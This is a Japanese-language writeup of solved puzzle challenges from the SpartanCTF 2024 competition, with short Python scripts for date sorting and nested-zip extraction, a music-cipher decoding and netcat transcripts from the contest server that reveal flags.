SpartanCTF 2024 Writeup

この大会は2024/4/18 1:00(JST)~2024/4/22 14:00(JST)に開催されました。
今回は個人で参戦。結果は2338点で168チーム中8位でした。
あと1問で全問制覇だったのに残念です。
自分で解けた問題をWriteupとして書いておきます。

Day by Day (Misc 99)

日付がランダムに並んでいるので、空いている日付を答える問題。まず日付順にソートする。

$ cat dates | sort > dates_sorted

ソートした日付を順に見ていき、次の行が次の日になっていない箇所を探す。

#!/usr/bin/env python3
from datetime import datetime, timedelta

with open('dates_sorted', 'r') as f:
    lines = f.read().splitlines()

tdt = datetime.strptime(lines[0], '%Y%m%d')
for line in lines[1:]:
    next = tdt + timedelta(days=1)
    tdt = datetime.strptime(line, '%Y%m%d')
    if next != tdt:
        DATE = datetime.strftime(next, '%Y%m%d')
        flag = 'spartanCTF{%s}' % DATE
        print(flag)
        break
spartanCTF{19990918}

Down the Rabbit Hole (Misc 170)

zipを解凍すると、zipが複数展開されることが繰り返されるので、スクリプトで解凍する。さらに末端にはrabbitファイルが展開されるので、その内容を確認し、フラグを探す。

#!/usr/bin/env python3
import os
import zipfile

def unzip(dir_path, fname):
    out_dir = fname.split('.')[0]
    with zipfile.ZipFile(dir_path + '/' + fname) as zf:
        zf.extractall(dir_path + '/' + out_dir)

def dir_unzip(dir_path):
    files = os.listdir(dir_path)
    for file in files:
        ext = file.split('.')[-1]
        if ext == 'zip':
            unzip(dir_path, file)

    files = os.listdir(dir_path)
    for file in files:
        if os.path.isdir(dir_path + '/' + file):
             dir_unzip(dir_path + '/' + file)
        elif file == 'rabbit':
             with open(dir_path + '/' + file, 'rb') as f:
                 flag = f.read()
             if b'spartanCTF{' in flag:
                 flag = flag.decode()
                 print(dir_path + '/' + file)
                 print(flag)

dir_unzip('./out')

実行結果は以下の通り。

./out/hole/hole1/hole2/hole4/hole9/rabbit
spartanCTF{th4nk_y0u_m0rpheus_11ec1158}
spartanCTF{th4nk_y0u_m0rpheus_11ec1158}

Bittersweet Symphony (Misc 180)

楽譜が添付されているので、復号する問題。楽譜は次のようになっている。

Solfa Cipherと推測して、https://garden.solsarratea.world/seeds/solfaを参考に考える。
8分音符は長さ1つ分、4分音符は長さ2つ分、4分音符点付きは長さ3つ分、2分音符は長さ4つ分である。
これを数字部分に当てはめられると理解した。まず音符の種類を書き出してみる。

2 | 1 3 2 2 | 3 1 4 | 3 1 4 | 4 4 | 2 2

これを4の長さごとにして位置を考え、音階と合わせ書き出す。

F3 B1 D2 E1 C3 C1 G4 E1 F1 A4 G1 C1 C1 G1 C3
m  o  z  a  r  t  w  a  s  b  e  t  t  e  r
spartanCTF{mozartwasbetter}

Talk to Me [I] (Interactive 80)

$ nc 0.cloud.chals.io 33987

 ____                   _               ____ _____ _____ 
/ ___| _ __   __ _ _ __| |_ __ _ _ __  / ___|_   _|  ___|
\___ \| '_ \ / _' | '__| __/ _' | '_ \| |     | | | |_   
 ___) | |_) | (_| | |  | || (_| | | | | |___  | | |  _|  
|____/| .__/ \__,_|_|   \__\__,_|_| |_|\____| |_| |_|    
      |_|                                                

Congrats! You've successfully connected to the challenge server!
Here's a flag, if you're interested in one: spartanCTF{g00d_j0b_w1th_g3tting_h3r3}

Would you like another (YES/NO)? NO 

i GUEss YOu CANnot apPReciaTe THE faCt tHAT i Was rEAlly tRyINg TO MakE the wHOlE fLaG acqUisiTIon THINg EAsY FOR yoU. buT I guess YOU jUsT cAn'T SAY YeS. For oNCe. YOu do kNoW WhAT The POInT of tHiS CTF Is RIghT? YOu SHouLd Be DOInG eveRyTHING yOU CaN TO gET aS many POints As POSsIble, As SOON As POSSibLe. tHEre is oNLY oNe FiRsT PLACe WINnER. YoU SimplY cANnOT Win WIThOut aNY FLAgS.

But that's fine. Have it your way.
spartanCTF{g00d_j0b_w1th_g3tting_h3r3}

Talk to Me [II] (Interactive 90)

$ nc 0.cloud.chals.io 33987

 ____                   _               ____ _____ _____ 
/ ___| _ __   __ _ _ __| |_ __ _ _ __  / ___|_   _|  ___|
\___ \| '_ \ / _' | '__| __/ _' | '_ \| |     | | | |_   
 ___) | |_) | (_| | |  | || (_| | | | | |___  | | |  _|  
|____/| .__/ \__,_|_|   \__\__,_|_| |_|\____| |_| |_|    
      |_|                                                

Congrats! You've successfully connected to the challenge server!
Here's a flag, if you're interested in one: spartanCTF{g00d_j0b_w1th_g3tting_h3r3}

Would you like another (YES/NO)? YES
Well. . . Too bad! Enjoy this wall of meaningless text!

fgoU84zaj0-gHG7AKYzGw-qbNnD0VA_txGMPCkTNhdQANkcNrqteGUvlWlyVth1kstnRLfU9oBvo155S2ZXUYWWyVQ9OhkuZNF9N6GCTeZW_h73QruZfqBEV_KAKdm5LHAo657p2VIhZgLeEfus4WuZhIGgVbEtZUGK44SYE737eChDhjYjJDCijQf8jFomA8TmwJ4BijQbDEZu9Ma7T8IDhCMl9Z-6jJS49zdERv5RpBYkY79Ji5PQYGYlHtXVkDd7zcohxHggIL0IqgEoc2slJBnU5epHA0u4F4lh0_KKjvSs89NDb9W066TKGTyqGiGLju4455rpTJ_2j9SnmBRT46l63noHRVByzA2tYbYQmwwQHr4OSPhrXiYas_mx6eLdOM57_4DNr5USiXFS1Rsua0rFdUF5r_ouAgzRAjX83uDVTlgz7wWTWpBhJfu17B0fLjKlFvZkm0lC1RpL7H0m2FVwuWSSQh7l2wu0qz94Tl-qtsBl-JqEH7nUT9s39dBkpmkQfPVA2EWHABjDACy03Jm8HxMQGMhp1MwpY_vOD0dHCTer1zwkHRs4rdWcfYV961I6k2ZdKF5k1H_yD920PZNHulqLCOEMlGlbtTkC7ioG84SHKpXZXofr3C8nGit6-S5W6Ws22gKlIBs0R5JcckKnB2mt0BPdkCpgJ-CCsixn0ws3dUsGbSaQEw93D8mOFy1gfizB8XdC_g5tXbCXiraGdwAtqBxu-mY7EoyegPtkXUb39UA5PUtngsqFkuVf2oAM0mKOeo_Gb7Os1NG2Dpiq6aMc8gg9hJDhVujH4preQ0hPA2_bEBkoos0ddpii0-bxHIXARY3tMcO6hOFvpv1fjLj5J1-HewBCeMXLt4P9XDYRqSFpDzOMhnkg0vKIH3I9EWzsMxbMcVNVucvKJISkPqZ302ldjkYWiphPhP7OtllEVKsPrcgz8Z7BQqpjEzs1Ldj-CPIZwR4mYQ8StjqQkgjCVOJHUTEouIxy0RRd5RrwRHtpvz9PosrDkWTMQMqVnlG6SNXqvpm-t8XwASeGk66YsY3b3LGrkCNWNNcZYctPw92DBaMSklv4y9qSZepDm9QktE9ikC1sccD1WmaIlnTdCyFignjx2F862mXTeWskeJlC0fKyybJf9gEtiKd3IyW19OVJxeIpE9XKvEenXVeeFzChi96lswyGg0VAIjEdNGADBjNnzUOq71qRx4MBNwh8gAFCi4_Gvl7fT1VyMUaM7sjGa5BgnyEjIuO0nFC6fpfYyMakDnqpkGsgUUO4JHBYYt5LqC2so7Z5iwmKZBV9cQfN0d-9uObR6XbCRV9kkDqdfjij3M-N1JPRcYzDIzFUdipKiuQfQrE7tJI_C2rqvMGVNq-ATdY_mtKUougUKr0jZLgs2t-ovqeGM-ejNUCIEDL3VGd72-PpC_ESmn0QcB9RzLimMTC6ALz1PCQAXth-ouX1P4hh-T8Dxu8N2sg77g68PQtMDuVvstJJ-FLP4NdtDWg9AuFrUyq0IhNsg2ZkZQ3xHgAubW-QYwPU6P7OJYWbPzBl-zfI9KTLAQYIx53WHfM3ZwNLUP-iFeVqAjOeiqmOmg9EvbSShMie5hSET1srj9PNIBWWtfv20YsW2alxXLaDprDRzpJWaiITUeAaJoFw-DdC6anldLu83NOJxqdnTZe0DvhmbxEN5Oox2XKaeFMGRHTIZxkwO4MakXqf7HPQxHUg8hiIgwWsyi6hw7LEhKQEfKzRia6dOH4QzU4rMWFCeLtAGrjIVU4ZOOja5j7HmDBGX1UGs8ZFs9jP7N_YPJdzNHCv4H_I2fu74RddIPwx01nzRUii-3ta19BDP7AlrzpE9gWiY2hjty7-YpwKTFXSCTxR5cMJ3sgbihuB42LmaHxqCm-y1NvagKRqf_sYH3wss6in5Qph2jFwdtAV402g8hg1YUc1XcjMk91oB6f4ZB4MESE8RdQ9LwXFzkJY70tB7-T-rddBALNcO3c4GrR28GISQ_7ju7lKdJHHRueDRdJwUWU5It0ZXIqgC5glnriAG7UOJg78etKmfClSQLklNO4jIDbdC_MljqF635bj8USZoBOW-jvzaWdZV-LxBBkkXAUyuV40HkMjwf_RE0dp7tEEGmBlONUU4aFYvkFlBihEB4gFOTFugREd1ell3Hy2KUu3pHxmmpCHFn4sUo9MnAuT8gvRPsLoGEuOpt4w7Ca8eSs9uGpIfA_onU2LN5bFfo4I-c9JuC2h5E40DSriNj4H_SRkLapuACKSgniHcQK-1vgjpy_QEfNV3f5vFCSrXChn-rP4coUocTd-uPv_uyGfSkuw6m311F5D6ZmiFL6qD8M54584o3QNxv5hdUlK4qItAfrr22Lp7hXGN5ZNmWbZMuiizeZGY9jN7DcNNAZBc-BDpJUUK8FjRJx1QivZQjLeDC_O5akB5ih6K9HCXDeTSQXrRMwtzMbTR4SW4rzj9C6-WvlUuT8SjXC5CjzYZ3t47qR46ZPAeAZAHpcubgODCTscgtLUpWi-JkwK5CqPlGPYG1j4lw1HUi_p_a0ejUXRUauhecP9lbAFvyddUVF6pvGjw3l2GpFPh7pkfnjynTMKWACJzF65mrdjMdc05Owa49R6fj8o9BGGLp_8IoKdBbYaVczDjdVfTQNB7D86GOiIKKfWGmngM7mFhk50-Qd06FMkEio2YJuGQ5B4vWRmnE9LNTFe_yvpPOE2VgaJs4JuQw3ywYJSTtUvhvIvtBqIQY5SOuvEh25SwR3zX3aG6r3Mlu-jaEuiBBayEHjA8WT2HkTu3RAQq4cGcBjZ9wqfeewqp7SjJpYCwCxHCpPvdIKtwz81_133G_86PdKywSkMkWQHPIoLrHUhk91X7v2SK8QcGxidSk4MEhiasdngepmsJLhKku-kAEq804aqJPG93ZRczc-A-1if-zNdkBlCuojXruk-nm7bg9j3XK6WeYQfkDdj5InxJekFSwOR2Fwk5y8wSonxb6dSki2w6KWZH0kJlxS_H-B7KPb0FQIkTF2zOI3pqZj4qmfC28PhaQsm4ZjXHJP0pDh-miEZt1BwOw4hG7F3W30xYYhIj_VwyhSpy6vUVJNqItiroSQfcSY2dy-ptzQMnZqG9lswgJYqHdiCJx-J9Gw0y8Ck6reYcsXDZT_enjkrWsGcCr5l9_HrUhtNZVC4wd3uCLKQfZnu2EGchhUBhvtKHBmpmlUKdDhCNksrwOwBqjetF8972rYyYfHaPpG9q742z5g7gv2GYyyyRcq1L2zRlNzFrAuv7tV19Dl7C8YqDB_gM0gNkrDj-45LGHVpeOBoos30lwvM1r_yFTRPY5vdg728Cm_wy0iCM1RhNfSkXGtCNpQyXPfrACC02o58-p8X9Twu-D8CKPKrNhjZBP8Dhxq5Q69slMxLrgxYniSL3DVyEq1ib1MdlorIKsj6fAgPunbNWXl8kfvgS0bPsQHmyTvMi8bv95MG05mCZJ_Slfq_LjHrttiiZNvAg30mbiGzQNC_x0HMFZ4bsA1yvCqlPjJLhJeU5KkvddpOA8_-JWJ4EIVZzwfGTeUjld6b1oGqKrFignJ_T93EgrRTR16P4BH2-1nJQ9M5EBJzHvlxlLnCHPDDaJn198UKDYwd7HkIE4rVO67BFNYERIf5P2dKhJOzy-x_0sLlVTBkQVWFeHpFrZnBmj-WZZhVUOofTvjQRcFNrFAnGPUs6phEFgc6UvXDRYEmxH0sH4eNMeAVTGIFAYX-lfkNSZDNfgc3BoTAJTWDNSrJ1X6MRIdv9Lrm3vw7iiuiHlSTOoJWo71sEhhPgPmb_qR9aMb_MLEBuzxcdAp6VO_f5WtXnnfV0PKmCTaa6fvNO-23N-BFip9Qsiz5qzmlE2ZVLvyfgha_Q_lRBIs_AnI1KpLJQusej1_naEB3YDTeZAAjbepDeMiNfV4uV_NLd6fGH3tTJwuCU2gFFkC2s5UWzF40coHqmx9GbGOjrFuPc-FymNW2S45JBS2Z2a8wVw-mZykIR6eXSrLQI3UrGByE0cSzKAmzoBMPF97d5OVlK7casgPd8Vyoqy6FwZHh_dVin3yD2mWMZQHIFblkmXFmTKUMaOioP4fkGmmrVeb1NNVXyuvu45lKF7M8eIszj07eeGCskwraWvzK2xjFzhQJtb0Ul5hliUbPgBxdMOSCKvOrDjFw-g1Y0OVmYv4AQ5V3YCN4VqyeFwFH2Pd7eq2_CmBFHvppFThTCSleqd5RBrExaCjGMO9DJiLiug-j7dOZ1wg-cG9g6L-dWACxVh1JWoS_i43cooG21bJeSib_OA7MWvZnHwUHLE_CQ0GNvk1IYf92QUowCxZQ-eyuGd2MC3KUwnOlJ6d_m0iOLx5tNHWH2kddK4wSyTmSdok0ttuws2NDoZLJXDceVSDc1Yb0MjV7iQN19RxRLRreQ86Mio46DMBSrt747qYvm6ZGjVHnFG5S2ZORa5fUKvLDIH2EJ2UM9Htob5jT8a3gjgDEHtfFotx1h544hCpTSCDjY3oe_maIr92eNqn4Ukoopr9EL76FhF2fB7onRAkIbcJUfhPCBgkSXriz4Q6WuTZQIM8lJNwCCgCGq_31cEW7LY3mD_DEeeePqh0qSgfsg1t069Uu7_hSKEqcDcul9GlIbe3vkiieb7JhqYCrCaVyW7TGIAlwogQmpFW7GbjjJ9KhpPYrUJa51t5_9TXFK4nq98DLWjHCKmun0FjrHl-P4mpHJiNGoLVBWWreuI3JfmQmahtJmJlLbQHCuUohoElSdDfc_DQ8ZS3h6WmAHFwE0XkvVelWSzdTdaXMRteZR6vfj2OjdbPUNUeMj6Y7LFZsv3REdaq6Jekl1gPz4HD9GoRH642Uu5WQzNF_0eOIDhJ55LnFLsx-x4N_kJHGksUTdlkSmfQJBriWHU6vn95g3LYIMn_7LmeAyV0ShU81_BZiz-lhJhFqseu-ShOEWtUPJDiJBdTVa96F0htjDm3lHdttvrWMOPuIjOs8G96MAYoGiXrNXysesHAZd0w5jqO1ho5NIZGMpB9ByKizYzx17EsnniIpX4_fND10D1LSiUbFmRwfrnnXOL5uLBEX4P69BMAItlAlt5rvpc01qNgNfEr0BrMSGop5kWW7LHh2dsAKDtlo7ZlqIykGSNCGtcVbgsub0E-NZWzTsbNWMmLyayjsqLmmv2QwQUx1I1DRB9AyJ7vLHVE1m66ncDqjxXFdPK-94OimmLWk1oOKYNJ7y2gYmSFx5wdNw1KBoOJrx2U5wkDPPULKUz6VLQM77-vExbzbc8sCCOLo80v3RbJVFzV6EPx3y806MZru6PJBtkM2YX8bq6tg4KkTSRYJot1F6Md-M76RfPBg0YI5aW2atQ83dDCTrJGWuq93rpVogOxEXD-sB3N0iPTdAoOaTlLIH_NkKZTsc0wVDLtL4LHapSdHBVQidQYm4j5NKl67QVB4MpKSyqkkDXKl1HlAisVs3mmqSTtvx3h_0Pqkx0DJ-Z7yMRbCt7Xd6yZS5rp4HA5Nz88WBN9wAxlBUwfEj_YfAzVigxelTyfLJ2CPrLAdto5Uz-SZdWgDcKOEIjdWimDjCL92Vt5VXfJ6Do1zxQrMTNmBWhoGkSvTQZQ3aPJFUVec9TS0x2KzWg5uAuvpkhnKIHPF4AolKFeHdr3xONW0-PyFAxegZrj1Ya8Q6yVKr7s-i_mR_Z4bjqBQGS2Kp49L5XdmSUp68yMU-ke8SHm1Zg69YTJ_D2Dteu7PP-GMXJFkMc2N_8cFq3C3cnpDBdamleolgCV40kdvSyyxqfK6w3vJSdqyR-NjxW_Uod6z0TaE8xTq41zNb-yP7YVjU9_HXtC6S7c8K5X-0nc6NtRYmnYKIjhmutFl-AKTS3K2uSnal4HZu9mZpwEPdfJSxQRlvcqDVGWPRLGazGweHBeNqMgbEGrlVqfUwo7z0_C7eaHKb02BCC5Orj8PBmmeqs1ruNNaVkB03XpZE_Q53IWrIfNfNlIp_8EE9wbruESbN3z4iQ8ACsXU-f5-2_NQOqD0JZj_O8E1Eh-gWOULbmgkVV7sj8rEvuU7e_AoQd9tbeQ5A4xF8GU1kDrcAYmDqZRH3hdSkXXpvAhYAErTguwxFWhZZxmQVTj87fNhba7zbtKMSctOvBr0uUeNloyjr2J3IN04TP_Ss8QlAhaLS5jrNQNZLy6wmNN_oeuJJYAFDwxptnqWB2qsUjuUFuZ_WzNP0MtyEzoZRIlKKPGQATiGASTJjV_QUW0OVapBNIGgWhjlsuJ56a8TbkA6evvKh2NeF1ClYXi_nkAYEpYtmSB7dGMXG1Lm2vrWMWuHjsj5F78xSH01a1xXTxABxcS9BXiW4axcHExNtnfmtRrebnwbeOnLdtYy4pqeze0Jep3QuLt6IH84NHgh3J-8SVNdd4WMCY9ELZPgdsjJMD3U1_ceCJsMbJN48wOnTk-ptaS3_XM0CtG8BDDfP7conPoETvNVOy2yazE9pQ9wMdZoPyn41ao9dSSxhDygeAXVCL2s-cjD8EBSjLYh3TugWKhlHLg-SbNPrYkwHs6KDFTjYOeWDlAjT53MNyU67-P5hFytp2Ly59JvSs4wNGAyCW_jkyAk1x1kzBmcRpK99Put_RJYlmeJMXgYGK_tb1XDZuk8yU6x4VIU5RzMspartanCTF{f1nding_mean1ng_1n_cha0s}qdOfvJDBfs_eYxQ6L8GzoqAQGqTIplaK4k46_PmoGHNMAsrraP5E4ZBZq3QlRbEJlrKRvXeDAf_C_Sec82pFHXQ2jG4e6i7KJCGj8pUNIGRT7mCbxg-fYLbzDI9KOljjTM_axxgl_V3b-Ab485q1-XNr4I4OZpYiwh3w7xP6cciBARQG8pyadc69sXE7CR7Dulqb_ebrjgL_9g3MTClA4YcB8K8BysGkiVw--hHZOuV0_HSfLqBG6AuNPyMtw_oz-j124A-F3LT0rU8J2qZqAdH2q19KSek9ngv2wA1Ot5m8tWAYhlX0T_v5Ubs_NUTkstuTKqdlYMcCX4wheq2rRDEEwmYGC265kVtIlvKWkSEQS-EBhqJXZ9eSrvWBmqQEeMoo9tS13nkEbO293U3MOgQZff3gktGDtW4ebsxDk9AR0jhOargsNoIRAN8mRGY6Kp9FN9wdhx3gPPlkC7PQDtyMsCDLldPSqzPwAmqyiktcNty35cr3E4_Y5JrCN6HdL-XFlbFsJhJhPtxNg4G3GXkopNqHDJGbmyubNFJVLynCSoJREoG6Po6tckDr6kq2tW9oMCuk3AcNF9jUgQiW0OLWUwqOol_Vkbc41YYiyjCHMYb8igKrYAbbUYHpLBKSba6z6j4OqRk91f76_96hjlNdY5jQIB-VeRjrfg9QCV5KLYXQTmm47MkWN6ydxZvCHeqtY4WNKSqJB6M6l6UIMHZvtpf0oDvkMb1i70HYDDWkw55m1PJ1YBWH_xpyTDrx2018bP5ygRU-P7XpsTLEOn9C1qXAlv3ndmtD7OekdJ4gG1g4hanPog8YK-EJT2cW5Cic8aqKzhxIuqYAefvn0tXh46WRXh8Ka1oIGeDy_ZheaGtG_h8rj4cN6GCrwYMwT03czUZvr4v7aZDAk8kVEzI38m3mNa06i1_5zR2O-7erW80upUO9AGzg2hLnevjIk30MHu-KmLlnZIgAultsHyMx1jSfyGaedZigOZ7JRLRrY6r2erOMMzMCwCRcpKoqFprWiNI9KnmBRW15n7GFaAfV67qV0LuZpx0n7Fggo02vfXJewos5_nkkUimiM3koabKDTQqkGVNVWrHRSnN-SwMPIxE6Vw_K8QlteZh_CRgVZk-RGk-rWWMmuf_g_X9Pthi3ZoKreBlQ4TtC3SUdSWKRjJ5MvwwOekV9J13nw0eyK_cncDJUgpgZbnnXUP3ZBaloQAy6haIu0iJ7HbiEM-pRnEBnRynz8yk93nIAC-Kka0p12AYWfV0mH2o_eKxoaBCfPV5YkJxX0Ka7HgHrJyW1ZMl1Cjbr651QBElr16F_Iw2Y3_p42zptK9jjGDhcz-YXoeLArQsdrg5C7WWanmc8Y-FpNWgiJGUV-Du_LJJMc1zAycHKico_KPNPcUHdQepvOFUyFD7aKpa-TbHgbrFDVJADIGHBP9cg8tZYvYqELb6RC-BC9I8jFYKi0sm4dqgfv7qociZPBfwXxorSZMzZsQNjF6LBm3HLFNFU7STg6Xy5c5lYQosIdRkivkV29F9Oo9-LsASlfpQVZp3ynQ9ADoPJp365xjyQcBu0JrwYC0nC9asMMOw-5eGRCTbMw-REdZ10g7UdQm8OG-RGLaFK2ybxOh_bsUh3AtwDpZlk225RwJTc1Xlm427p5L3rVvgxMxWVklhSs5d9hl5HVI44JHBzTtxbYS8mqTi8Ba7yPnwbPaSCMduahtPjTHMs3NeBeJvwfSRgYy69Z0gvlGuHyo-FX_65a4qyZXHumWJp_SjbTGWCwrDasztnfFtbZl3HrMrRaqyUNBuD95GoeB-1fkrDSIH2GN-qHeNBbUNxdLx39BpLKio8opGuekyJ4AoNNuoHRAchZVldaON6yO4FFTlvndRacDM5RDSOheXzroXzGDtJrjcYKzrQcw0G4x-_xSUKojaMS_z8NSevo80eBtDicSadTnHNZVZFMHlqOeIqrh4iC-uJa1XWTNj7aDbkAZn9EZ1EX55GWguulv3EBYw1VGbMy5XfstQktFWKb-OivAbUd2WeTbimHlta399QDkqD5kQdFVA5QehEcEhNY1CCf3G_Cz-4KA3gXK5tFAIQEcNfhbFUyCzmGGkdpgRSBp1LUqMzVvoeC2Mpmx1Z0hsbfYUkrNDOmkM9VwIc3j2VU2mZfOw5XBUXUfpS1nQHKNGdcJYwsDsKQsYBae8Dx6cQ4cno4f5oDZ1XQycTY32yVqhd4RSpv9nw83OxSSqdJfEM1PC8gLgcmyR_jWKLIjA75xS2T1ls7uFdbf4X2fS4vPekGSn0dYPGldO33liQtHUMHozhJraSRAV8BVwSo1umnaCNuUibZzLn5F9KjCcD9OOBLy5yr-AD8D3QI70AFfoVMOJCtKbmG0XoYemGsRplmC6lGVBUukRYZqYGpW04FWPpraYg2qyjYNrywDD0M0mCSeGle93JQ8QSHaPes58D07tp5YLtk_Llk9smS7TJ9gln0U1wNW3fjFgMy7S40ilUJDDaFtpQGOWqAb4oobsSZTx5WpAC6Qdkdo25WJMdx_MTh0cVcCuLPt5my7krCcJ60rTv615ZM1dgSsORvTQO_fVNYJdznI-JQAr9V_XqnEKvfW_5uVy6wXhze-7r8251j1V6iMYeu7xjE_YuRkELdnqopOZMrna_hJefsmn8qfi_bXaL4hX1XleYoqAmA5gU_5vANT8OH99-QdxOzPJXZKSQ7DbFI-P4XF7OLGbHS8FcjLeM1sQOeqsbVwoTNlOdY5bW7SIUnHMzd5Jm8sBibcfGlCCGQOO0_9tbjXkk-8YqLGIDn0hgJjCotjR9kXkjRVGTyov-ffChv9ZMio86rKfT0RMoayk6HoQe78JAThYNXjEWW3EkAyD8fhttAnWt90nHBzaxU87xoDIndmUVJO8HQfFhHyiE0rgmkiOMnJ-SRa6EbC-ddbVtGVybCcUG4_-8j1FkvTlIOQPNeQk0CoQ2mMUb2BDlyq35-V25tPoJxhjsWaqBRfXd4iBVpNCdQ0AEFVqBcD2jZsExpXDC1E_v4v6v2i4O6Ox4cMKQYFWiJiIBbfYZcIxeQ6dHGXNz6y8YMJMArlrZ4xR17VG0im276UC7xbytJtiCUzXDtt3ouXEejVrvkfkXTkNJTtdmVbP225bHNRo4W6GnCTGUNQT_Ge3_fuoJRxnKNMA2nleWTRPz_V6EQ4Dgctr4lZjGUF-GqO0X9vntQO65qlQJJsV60iOnCMV5lpln0o9iCaHot1Ecpv-16ZUdiVTzB9dnA2tcNXLF7hqWpRFii1F6Q1HBbzcO80kL2SzZtlzXmlTwP-GKiFI5Pd5yGSekxQpJVmKgy71O4sh8LWhSA2Lc2LNzUGfZS7FFjErYbqa_94VwexYhJub_-TNbREA49iGAs7AItMfS-GUI2oN4IW9145AHAvDdyj4AjPYljphUQhM70ciSylSvi_pZdw17hqjMgUclHcsEGvWCbuG0mLnADuRFl2N-oAH_F0GkF75zsssfp7YUZ21IV5-C1rktGBJafnFqSqSzuhRyMU9BQ3qbSWU-xysGwclJDBPgVYVsN76nXWTgWM1nnjucTRK72UvCUcgmKunQGifsu2gR95hoqDeqw6VlCOlqJTrqBVs8j8XweDNNS6kO5HlmNWE00tmttVU3g8KCUqUYbrX9oBZi-TB2e93o3beAwx6wqIB4o0M_DXyl03W3oe3DIQqm-SWldzfeuFAVaQOuWTiQ9yBB2BbQLQqMbTrx8WgcFnWqcNve5whTFF4fG3pSQf5upZf1fVqJ9iEkAfS0wfe1lAwxQi5lV78TYbRrDvQbDcjbxaGGc3hQM0KFIzbpoWr5XaCQD-zzm2q5EyqLe5rougY1zJRig1txgzmaidp2cVWnF9cUz2Ae-lGVQ3U5s__kwS7qESWNF5QR60KHWacIDmqrf0HFXSGob9JOuSpsIYyYpQZMBrS8HQGVhK99UJ0Q4UR3GQf3oQob_0bpgK_oUMwddk9PC43HX3Nb06mwiQURFNIklTMcc7POfaIY7hQoemD14b2anZyRQiwQ__USfMjkoieskL4F8vv7HM_C9CPAsJZ38usQS_Pu7TIq7adlhcTvy3ZPQWGz60TWHnQeLdpcCJgKQsI4aj9FHJtAAgw6HOH-xitvp_0y2kqVabSQzU1iwEyuXqXyh5VR9b7zO7tejT65jtTntBc7bmidcKlrxRG8fPT2C9285CSZ9JFBuvx5BNkpiXScL6Ng-WKU_4lavjPtc3ziiMVBi_C79VStSeATjjLGauoy6h5vBtEH16hnWnemtxLof8HrBRRFx-FNXrL1pGeRAG-4fdKeLwLFcYzNclmCJ7LvQr19Fj3-td0CaHB1DUm9mr-0-Bg04PTx_2Sqmy9ACijZF3tOEuPT9i_yDxyzoXIttFnXvxEhMWLJsJkuXEGzNIYz3aUUz_MRqyMD-k-Tprdo_F1mcQO46kCZQZVFPVvFitLvmj97kxibDfP6UW7BLBHCZ99GbKz1_yRQNVdN3frZzOdD8gf9yb1u1879Es2xLkxxnlewMJisYBzRpW91HdH3jS1iUmuXWeH70zAaGUDOhvZkGivKiIgCavnbzgWC9vvtyS6txM7ij1wB9r47WlYQ4mRNss4gHVUYtMWlizu62Vvi8ZXcpWFgTeNrN7V-ygjTiPSibTiRtxGvP1Ghu-Yl1l_lR_tSsLOlwB0YcSawQnqfGBkZpltfdHBoPkNjevanrw2w09IkSMNF9-PgVUKoZ6mwaWDIayTFoQOBv66l6NkWGFJLHa_3aQNAjYiDz_8RHdgGdknmfORlozsUwaYzcd7fr31d6oWZZmYZEF5wdOlw4PMyJOQKqVM4AgaZFalHd6ZuxTYyg0FD1Pa4sTT1MDynq4v-ttN-1kH0fAJmYcFmIkS7I4xJFQOET15Kidt8n61Dh51ZmSPUF42-mRbrNloekysSSrFzOwGNG6Nv3IEdQ7pQTODD6RRSpZpB2L3egS8Gopv8BYHbqmJNb8ow6_Mi9FZfmsHWiVPKexxie-v_mduz7h5mgoQv7fxnKLp2Pmf4QMixwBO611Zsn9LauPVx4XrJAra7hKJkdMcJfUwXQQqLnmiU7dEq0KIpe06UtlP0Y2VfyShOMJkl4mL-W06JWhZsWEjsdzzvalAmqa8kMkHK9ds-AqCVPErINlL4paIUr6KAE_p9mbLslD-NrnVBiX_8N1Qj6FKEsw7kkMldvyjIdRvpbQuEAFsAUa1Pp-OacftzoCfzh_4VJPiNYMFGL_zQNL1Ue5MS00x0KfSee9gVBxv0atJjNO7cpHC5bNRJctXJFCPJ5AgJBU1-xDexudorCyOmtQsP05z8H01CfblqVbkhFA-KJljZjyoqRvb2oPaPqHnjCjQAjF0OZA8eZJEAD8gnXGTONcfMEo5Rg-nYCwnyVZi3EH5V4bm119Ceeuble0sXyVVOh4AgwVDezoAuy0hno1O7AQA7-JZpm2FLpzVGWpDEL6YErqba0Y6scYqVdwPAh5Dd-J05V4BmZ-ZtDd9MIIjEMzOij7mk0faOrIOHrRzcQOdlLri8DCFEZWxAlmziGWB9SW274xWfUGBU7cgN9KttLa5e7k2qgrxWJDwljx0dqhmLpts_NlweA_gVAxe941aRhZwTNkxnFlqHJjWWFMzbsPLokrfjQSoUlMslflyQ1QyQNNtJ9PVh19FX8_cFoNyRbB7-MPDp4YT6-R-NPDYjlTcGmUzp5rqnLoCiHIGT3Zoh4oPyDsocCa4gu-3abyPgUlZ4Xx95967IzrJh54XUuE3BIQG-dtiEkGacEkgrp7ijU_0KvNtV75Jc5JEE2fc6MXujyW0aAcP8waYpF3vQ5fsskq4yn7cCzS5psvU7f8pyEFq9V_Fdpcm2fHHkvK4uXv33CgaUoHWFtB0fMTz8hA6d-jyJppD37JqqN4PzUAaUBsGq0fGoY0MczmFvpLttyxbVkKUt33bR5SwWWeD74MGYImDYnE5fMHKb3AJQEaryAZRvhHjsj3X3ZPfWSRR6tmJjSsvUhSlMCi0YCrg-0JXPDcBdiE5FRXrvmb9JZXgabYPHeGX71KSsDoFUuo0BAU1O63wNyPVu98jMeKrwO81HwaWyJ53GeBI2gFcQ_11-HsWzTfte_ffHpiVPbfKkS-R-XNnI_eTpPqx_bFnjeeMtZefa4AmseIJ5w7X7Ns7rLaHmou0JRcx7qUrQAn0u_l_KdrguebXCZHv77cGQkugTbwMRdAQfAhtdqi42ihK0nMsYe-aijfiz5aW3t8yty9A9blxs-kGb1cQRgNiQxZHe16RDb4371Jc4L6FqTAr2dNJ9NH5gI-c2jRVAWZlD_FZlJmGDfaQIlIhUCmeVYD9-cGm4kzkfkAfdJ5J22H7KOAXZZ_GtLFIma1ushXJL0bv8ezsplDD_wdY4VFQSsLevp9yeg2dL08XTZSyfFmBi44vq2SRcV__Xd0-B0oVKT-kO0s1gfACW-deuB4XqifId99mIG1fA4pMXuaWwOjw0ZIl3BgUnQ7z7GekEA8WYNS2jKGmZGkmewYzZiExmWnPUm6y9Jd5l_j0m2C0r7XvsNBZyBLLilGhHtEb7S7EQmiitZYtWlbgNHUbQ4tBPas1128n5EPuYh-5BRgeraN_xeQgK9YgWT1BT24k

この長い文字列中にフラグが紛れ込んでいた。

spartanCTF{f1nding_mean1ng_1n_cha0s}

Talk to Me [III] (Interactive 100)

Talk to Me [I]」で表示された以下の文で小文字を"0"、大文字を"1"にしてデコードする。

